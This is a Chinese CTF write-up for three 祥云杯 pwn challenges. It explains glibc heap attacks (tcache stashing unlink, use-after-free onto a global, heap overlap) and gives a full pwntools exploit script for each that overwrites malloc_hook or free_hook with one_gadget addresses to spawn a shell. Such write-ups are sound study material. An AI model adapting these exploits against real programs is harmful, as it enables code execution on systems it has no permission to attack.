祥云杯
pwn
Beauty_Of_ChangChun
tache stashing Unlink Attack
根据house of Lore改编过来
house of lore
如果想从small bin中,取一个chunk下来,那么他会验证chunk的完整性是否为伪造bck->fd!=victim//取得最后一个chunk,然后与倒数第二个chunk做比较是否相等,来验证完整性
接着就是正常的unlink了,我们来看看会做些什么
bin->bk = bck;
bck->fd = bin;
如果我们能控制victim的bk指针值,并且bck也满足bck->fd!=victim,那么我们就可以对任意地址写入一个main_arena周围的值,并且如果后面的bk值也同样满足的话,就可以对任意地址进行 申请了
Tache Stashing Unlink Attack
在libc-2.29中,我们在没有使用tache的时候,检查跟以前是一样的,如果使用了tache,那么small bin里的chunk,会先放入tache中,在申请进来,而有一个函数是不会向tache里申请chunk的 calloc,该函数只会向unsorted bin/small bin/large bin申请chunk,如果没有就像top chunk申请,那么我们的漏洞点和上述最大的差别在哪呢?
house of lore与tache stashing unlink attack最大的区别
当tache不为满的时候,tache会将其他bin里的值给填充进来,直到填满为止,但在这个过程中,也需要进行unlink,但在small bin里的chunk放入tache中的时候,是没有验证链表完整性的这个检测的,所以我们可以在small bin里放入两个chunk,控制倒数第二个chunk的bk指针为fake,然后tache 差1满的时候,进行申请chunk,此时victim会被申请出去,而倒数第二个的chunk会被放入tache中,此时我们伪造的fake就变成了倒数第一个chunk,此时程序会做一下操作
bin->bk = bck;
bck->fd = bin;
所以此时fake->-bk->fd=bin,从而达到修改任意地址的值,同时还有任意地址申请
exp
from pwn import *
p=process('./pwn')
libc=ELF('/home/pppp/Desktop/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
ru = lambda p, x : p.recvuntil(x)
sd = lambda p, x : p.send(x)
rl = lambda p : p.recvline()
sl = lambda p, x : p.sendline(x)
rv = lambda p, x=1024 : p.recv(numb = x)
sa = lambda p, a, b : p.sendafter(a,b)
sla = lambda p, a, b : p.sendlineafter(a,b)
rr = lambda p, t : p.recvrepeat(t)
rvl = lambda p, x : p.recvuntil(x, drop=True)
def add(size):
rvl(p,'Enjoy scenery')
sl(p,'1')
rvl(p,'size:')
sl(p,str(size))
def free(idx):
rvl(p,'Enjoy scenery')
sl(p,'2')
rvl(p,'idx:')
sl(p,str(idx))
def edit(idx,content):
rvl(p,'Enjoy scenery')
sl(p,'3')
rvl(p,'idx')
sl(p,str(idx))
rvl(p,'chat:')
sl(p,content)
def show(idx):
sla(p,"4: Enjoy scenery\n",'4')
sla(p,'idx',str(idx))
rvl(p,'People')
flag=int(rv(p,13),16)
log.success('flag:'+hex(flag))
libc.address=flag+0x28000
log.success('libc:'+hex(libc.address))
print('main_arena:'+hex(libc.symbols['__malloc_hook']+0x10))
add(0x100)#0
for i in range(3):
add(0xff)
free(1)
add(0x100)#1
for i in range(4):
add(0xff)
free(2)
free(0)
free(1)
p.recvuntil("4: Enjoy scenery\n")
p.sendline("666")
show(1)
p.recvuntil("see\n")
heap_addr=u64(p.recv(6).ljust(8,b"\x00"))
show(0)
p.recvuntil("see\n")
main_arena=u64(p.recv(6).ljust(8,b"\x00"))
log.success('main_arena:'+hex(main_arena))
p.recvuntil("4: Enjoy scenery\n")
p.sendline("5")
p.send("aaaa\n")
edit(1,p64(heap_addr)+p64(flag-0x10))
add(0x100)#2
edit(2,p64(main_arena))
p.recvuntil("4: Enjoy scenery\n")
p.sendline("5")
p.recvuntil("input idx\n")
p.sendline("2")
gdb.attach(p)
p.interactive()
影流之主
很明显的漏洞,uaf,又没有好好的看全局变量的
这里把0x60的chunk分配到全局变量变量上,因为这里有个stdout,而且下面又正好是heaps的地址,所以我们可以直接写入函数的got地址,再直接写入malloc_hook即可
exp
from pwn import *
p=process('./ying_liu_zhi_zhu')
context.log_level='debug'
elf=ELF('./ying_liu_zhi_zhu')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
def add():
p.sendline('1')
def free(idx):
p.sendline('2')
p.sendline(str(idx))
def edit(idx,content):
p.sendline('3')
p.sendline(str(idx))
p.send(content)
def show(idx):
p.sendline('4')
p.sendline(str(idx))
add()#0
free(0)
edit(0,p64(0x602060-0x23)+b'a'*(0x30-0x9))
add()#1
add()#2s
edit(2,(b'\x00'*0x13+p64(0x601FB0)))
show(0)
puts=u64(p.recvuntil('\x7f').ljust(8,b'\x00'))
log.success('puts:'+hex(puts))
libc_base=puts-0x6f6a0
one=[0x45226,0x4527a,0xf0364,0xf1207]
malloc_hook=libc_base+libc.symbols['__malloc_hook']
free_hook=libc_base+libc.symbols['__free_hook']
p.sendline('3')
edit(2,b'\x00'*0x13+p64(malloc_hook-0x23))
edit(0,b'a'*0x23+p64(one[3]+libc_base))
p.interactive()
garden
学到一个新的堆风水
堆风水
由于有uaf漏洞,并且可以申请一个稍微小的chunk,(chunk1低地址,chunk2高地址)所以当我们uaf释放了两个相同大小chunk的时候,再申请一个比这里要小的chunk,此时原先的两个指针还指向原来的位置
此时我再一次释放chunk1,那么小的chunk也会被我释放掉
但此时我申请一个跟chunk1相同大小的chunk,在释放一遍chunk2,此时已经造成了堆重叠,因为chunk1在新申请的时候已经因为那个小的chunk偏移了一部分距离,所以当释放新的chunk1,那么此时,new chunk1->chunk2
exp
from pwn import *
p=process('./garden')
libc=ELF('./libc-2.29.so')
def add(idx,content):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('index?')
p.sendline(str(idx))
p.recvuntil('name?')
p.send(content)
def free1(idx):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('index?')
p.sendline(str(idx))
def show(idx):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('index?')
p.sendline(str(idx))
def free2(idx):
p.recvuntil('>> ')
p.sendline('5')
p.recvuntil('steal?')
p.sendline(str(idx))
for i in range(9):
add(i,'\x00'*0x20)
for i in range(7):
free1(8-i)
free2(1)
show(1)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-(0x7f5794fe0ca0-0x7f5794e21000)
log.success('libc:'+hex(libc.address))
free1(0)
p.recvuntil('>> ')
p.sendline('6')
for i in range(7):
add(8-i,'p')
add(0,'p')
free1(2)
free1(1)
free1(0)
log.success('free_hook:'+hex(libc.address+0x1c25a8))
one = libc.address + 0xe2383
add(0,b'a'*0xd0+p64(0)+p64(0x111)+p64(libc.address+0x1c25a8))
add(1,'b'*8)
add(2,p64(one))
#gdb.attach(p)
p.interactive()